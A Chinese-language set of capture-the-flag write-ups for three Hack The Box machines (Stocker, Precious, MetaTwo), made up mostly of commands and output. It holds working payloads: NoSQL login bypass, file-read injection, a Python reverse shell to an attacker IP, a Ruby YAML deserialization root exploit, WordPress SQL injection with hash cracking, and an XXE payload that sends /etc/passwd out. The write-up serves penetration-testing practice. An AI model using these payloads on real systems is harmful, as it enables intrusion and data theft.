Stocker
nmap扫描
┌──(root💀kali)-[~]
└─# nmap -sV 10.10.11.196
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-10 20:53 EST
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (2.1s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.41 seconds
curl发现80端口的域名
└─# curl 10.10.11.196 --head
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Feb 2023 02:21:56 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://stocker.htb
在/etc/hosts中添加,访问网页,没什么有用信息
子域名枚举
工具很多,只有字典选得好就行了,我这里使用了kali的字典集seclists下的子域名爆破字典。
┌──(root💀kali)-[~]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.stocker.htb
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://FUZZ.stocker.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 953ms]
爆出dev子域名,添加到etc/hosts文件,访问,是个登录窗口,随意输入抓个包看看
NOsql注入
requst
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AFWIdQ3-xL3iYmpJqnfHYkkn1fz-VC_0m.W10CYIEr6Dtiy%2Bg8VuESaTI84n6lEd17mWNsaYNDFn0
Upgrade-Insecure-Requests: 1
username=admin&password=admin
respose
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Feb 2023 02:16:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 92
Connection: close
X-Powered-By: Express
Location: /login?error=login-error
Vary: Accept
<p>Found. Redirecting to <a href="/login?error=login-error">/login?error=login-error</a></p>
使用bp抓包,将登录参数改为json代码,同时将Content-Type随之更改
requst
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 55
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AFWIdQ3-xL3iYmpJqnfHYkkn1fz-VC_0m.W10CYIEr6Dtiy%2Bg8VuESaTI84n6lEd17mWNsaYNDFn0
Upgrade-Insecure-Requests: 1
{"username": {"$ne": null}, "password": {"$ne": null} }
respose
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Feb 2023 02:55:44 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
X-Powered-By: Express
Location: /stock
Vary: Accept
Set-Cookie: connect.sid=s%3AQBv56UBK59KlhesFqTHFoMs8cz_xJDRs.nXEOSd52fW7zT2Ojs4Hn%2Bu9oiUmKPEaSjWk8VKjTbyc; Path=/; HttpOnly
<p>Found. Redirecting to <a href="/stock">/stock</a></p>
重定向到了/stock页面,在浏览器中查看
是个购物网站,简单走一下流程,选购好东西后,点view cart提交账单后,弹出以下界面
显示orderID和一个超链接,点击,会定位到/api/po/orderID,同时显示所购买的商品
抓包查看具体数据包
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 162
Connection: close
Cookie: connect.sid=s%3AXCU2j-Ge2IfqK8UyCTbeoP3b5cXEsFDl.tML7SoE%2BTzG8r0FHxV8l66ypAgjazZEBEreIW5GClLw
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"Cup","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Feb 2023 03:08:25 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-U3nSPD6OYldWF6R+73GibB6cpYA"
{"success":true,"orderId":"63e706a93bf31dab4f32ab3c"}
从数据包可以看点requst中json数据中的title会在网页回显,而response中的orderId会在url中显示。这里大概率可以利用本地文件包含。
本地文件包含
将json中的title数据更改为:”title”: “<iframe src=file:///etc/passwd height:750px width: 750px>“
回显成功,这时候我们可以去读源码获取有用信息
利用wappalyzer得到编程语言为node,那么就应该去读取index.js
将title数据改为 “title”: “<iframe src=file:///var/www/dev/index.js height:10000px width: 8000px>“
我们可以看到 index.js 文件的其中一行连接到 mongodb,并且密码以明文形式显示。可以尝试使用获得的凭据 ssh 进入服务器
angoose:IHeardPassphrasesArePrettySecure
-bash-5.0$ pwd
/home/angoose
-bash-5.0$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .mongodb n3ym4r.js .profile user.txt .viminfo
-bash-5.0$ cat user.txt
d750aa79aa54e49f0c4fd0b58c495a68
拿到user flag
提权
执行“sudo -l”,可以看到如果我们执行“.js”类型的文件,就能立即获得 root 访问权限
那么创建一个.js文件
这里路径是怎么得出的呢 Linux系统下/home 和/usr为同级目录要从usr转到home需要往回三次
-bash-5.0$ vim n3ym4r.js
-bash-5.0$ cat n3ym4r.js
require("child_process").spawn("/usr/bin/bash", {stdio:[0, 1, 2]})
-bash-5.0$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/n3ym4r.js
root@stocker:/home/angoose# whoami
root
root@stocker:/home/angoose# ls
n3ym4r.js user.txt
root@stocker:/home/angoose# cd ~
root@stocker:~# ls
root.txt
root@stocker:~# cat root.txt
8ed1a75f8d894c3b51070771dfe4ca67
root@stocker:~#
拿到root flag
Precious
nmap扫描
┌──(root💀kali)-[~]
└─# nmap -sC -sV 10.10.11.189
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-11 06:56 EST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (1.4s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.91 seconds
Nmap 显示 80
和 22
端口已打开,80 端口将我们重定向到 precious.htb
将其添加到 /etc/hosts
文件中
web漏洞发现
访问页面,网站功能为将输入的url转换为pdf
本地起个web服务
┌──(root💀kali)-[~]
└─# python3 -m http.server 80
网页输入我们本机ip,如我们所想生成了一个pdf
F12
看到pdf版本为pdfkit v0.8.6,google一下
存在命令注入漏洞
命令注入
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
简单说在url后跟任意参数,值为想要执行的命令即可
成功回显
反弹shell
本地开启nc监听
└─# nc -lvvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
网页输入
http://10.10.16.8/?n=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.8",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`
┌──(root💀kali)-[~]
└─# nc -lvvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:39340.
$ ls
ls
app config config.ru Gemfile Gemfile.lock pdf public
$ cd ..
cd ..
$ ls
ls
html pdfapp
$ cd ..
cd ..
$ ls
ls
backups cache lib local lock log mail opt run spool tmp www
$ cd ..
cd ..
$ ls
ls
bin home lib64 mnt run tmp vmlinuz.old
boot initrd.img libx32 opt sbin usr
dev initrd.img.old lost+found proc srv var
etc lib media root sys vmlinuz
$ cd home
cd home
$ ls
ls
henry ruby
$ cd ruby
cd ruby
$ ls -a
ls -a
. .bash_history .bashrc .cache .local .ssh
.. .bash_logout .bundle .gnupg .profile
$ cd .bundle
cd .bundle
$ ls
ls
config
$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
在/home/ruby/.bundle/config文件下,得到henry
用户密码Q3c1AqGHtoI0aXAYFH
ssh连接
┌──(root💀kali)-[~]
└─# ssh henry@10.10.11.189
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 11 06:13:55 2023 from 10.10.14.128
henry@precious:~$ whoami
henry
henry@precious:~$ cd~
-bash: cd~: command not found
henry@precious:~$ cd ~
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
6e78f78d96b06b9c3fb505a76dc833e7
henry@precious:~$
得到user flag
提权
sudo -l
查看可以以root权限执行的文件
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
查看脚本文件
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
可以看到脚本执行时会加载一个名为dependencies.yml
的文件,那么我们就可以在此文件中写入恶意代码,当我们执行此脚本时,会以root权限执行,调用dependencies.yml文件,那么文件中的代码也会是root权限执行的。
通过 YAML 反序列化的远程代码执行
https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Insecure%20Deserialization/YAML/
https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml
在/home/henry目录下新建dependencies.yml
文件,在/opt目录是不允许修改文件的
henry@precious:~$ vi dependencies.yml
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
git_set:这里写命令
执行脚本
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ ls -al
total 32
drwxr-xr-x 3 henry henry 4096 Feb 11 07:47 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 619 Feb 11 07:47 dependencies.yml
drwxr-xr-x 3 henry henry 4096 Feb 11 06:30 .local
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Feb 11 05:10 user.txt
henry@precious:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt
20365dcbcc3d536222b0cbcdb5972c5a
拿到root flag
MetaTwo
nmap扫描
┌──(root💀kali)-[~]
└─# nmap -sC -sV 10.10.11.186
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-11 05:08 EST
Stats: 0:00:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.30% done; ETC: 05:09 (0:00:00 remaining)
Nmap scan report for metapress.htb (10.10.11.186)
Host is up (1.5s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-generator: WordPress 5.6.2
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: nginx/1.18.0
|_http-title: MetaPress – Official company site
|_http-trane-info: Problem with XML parsing of /evox/about
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.91%I=7%D=2/11%Time=63E76940%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.15 second
开放了80/22/21端口
在/etc/hosts中添加metapress.htb
web漏洞发现
查看网页,通过wappalyzer看到使用了WordPress5.6.2搭建
此时,我们可以使用wpscan来扫描可能存在的漏洞,可能由于我的wpscan版本过低并没有扫出来
手工查找漏洞,F12查看,用到了一个名为bookingpress的插件,版本为1.0.10
SQL注入漏洞
Google一下,存在一个SQL注入漏洞
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
根据链接,我们需要得到**_wpnonce**的值,F12查找
得到值为b67ccae67b
┌──(root💀kali)-[~]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=b67ccae67b&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 11 Feb 2023 10:21:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
┌──(root💀kali)-[~]
└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=b67ccae67b&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 11 Feb 2023 10:22:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"admin,manager","bookingpress_category_id":"$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
得到admin,manager:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70
john爆破
┌──(root💀kali)-[~]
└─# cat metapress 130 ⨯
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
┌──(root💀kali)-[~]
└─# john -w=/usr/share/wordlists/rockyou.txt metapress
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Remaining 1 password hash
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 0.41% (ETA: 05:44:45) 0g/s 13894p/s 13894c/s 13894C/s steve11..nick20
0g 0:00:01:14 6.41% (ETA: 05:43:33) 0g/s 14077p/s 14077c/s 14077C/s SHAZZA..SASHA11
0g 0:00:01:18 6.80% (ETA: 05:43:25) 0g/s 14095p/s 14095c/s 14095C/s 17070..16571657
Session aborted
┌──(root💀kali)-[~]
└─# john --show metapress 1 ⨯
manager:partylikearockstar
1 password hash cracked, 1 left
用得到的用户名密码登录网站后台
发现除了能上传media,就没什么能做的了
之前我们得到WordPress版本为5.6.2,Google一下
https://github.com/motikan2010/CVE-2021-29447
https://tryhackme.com/room/wordpresscve202129447
存在XXE漏洞
XXE漏洞-CVE-2021-29447
我们需要创建一个 WAV
文件,该文件将获取另一个名为 dedsec.dtd
的文件,其中包含我们的恶意内容
┌──(root💀kali)-[~]
└─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.8:9999/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
创建 dedsec.dtd
文件,它将读取 /etc/passwd
文件并将其转换为 base64
并在我们的 php
服务器上发送 GET
请求中的数据
┌──(root💀kali)-[~]
└─# cat dedsec.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.8:9999/?p=%file;'>" >
启动 PHP
服务器
┌──(root💀kali)-[~]
└─# php -S 0.0.0.0:9999
[Sat Feb 11 04:05:17 2023] PHP 7.4.21 Development Server (http://0.0.0.0:9999) started
在网页端上传payload.wav,收到回显
┌──(root💀kali)-[~]
└─# php -S 0.0.0.0:9999
[Sat Feb 11 04:05:17 2023] PHP 7.4.21 Development Server (http://0.0.0.0:9999) started
[Sat Feb 11 04:05:59 2023] 10.10.11.186:60700 Accepted
[Sat Feb 11 04:05:59 2023] 10.10.11.186:60700 [200]: (null) /dedsec.dtd
[Sat Feb 11 04:05:59 2023] 10.10.11.186:60700 Closing
[Sat Feb 11 04:06:00 2023] 10.10.11.186:39782 Accepted
[Sat Feb 11 04:06:01 2023] 10.10.11.186:39782 [200]: GET 0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=
[Sat Feb 11 04:06:01 2023] 10.10.11.186:39782 Closing
[Sat Feb 11 04:06:03 2023] 10.10.11.186:39792 Accepted
[Sat Feb 11 04:06:03 2023] 10.10.11.186:39792 [200]: GET /dedsec.dtd
[Sat Feb 11 04:06:03 2023] 10.10.11.186:39792 Closing
[Sat Feb 11 04:06:04 2023] 10.10.11.186:39800 Accepted
[Sat Feb 11 04:06:05 2023] 10.10.11.186:39800 [200]: GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vz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M0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=" |base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
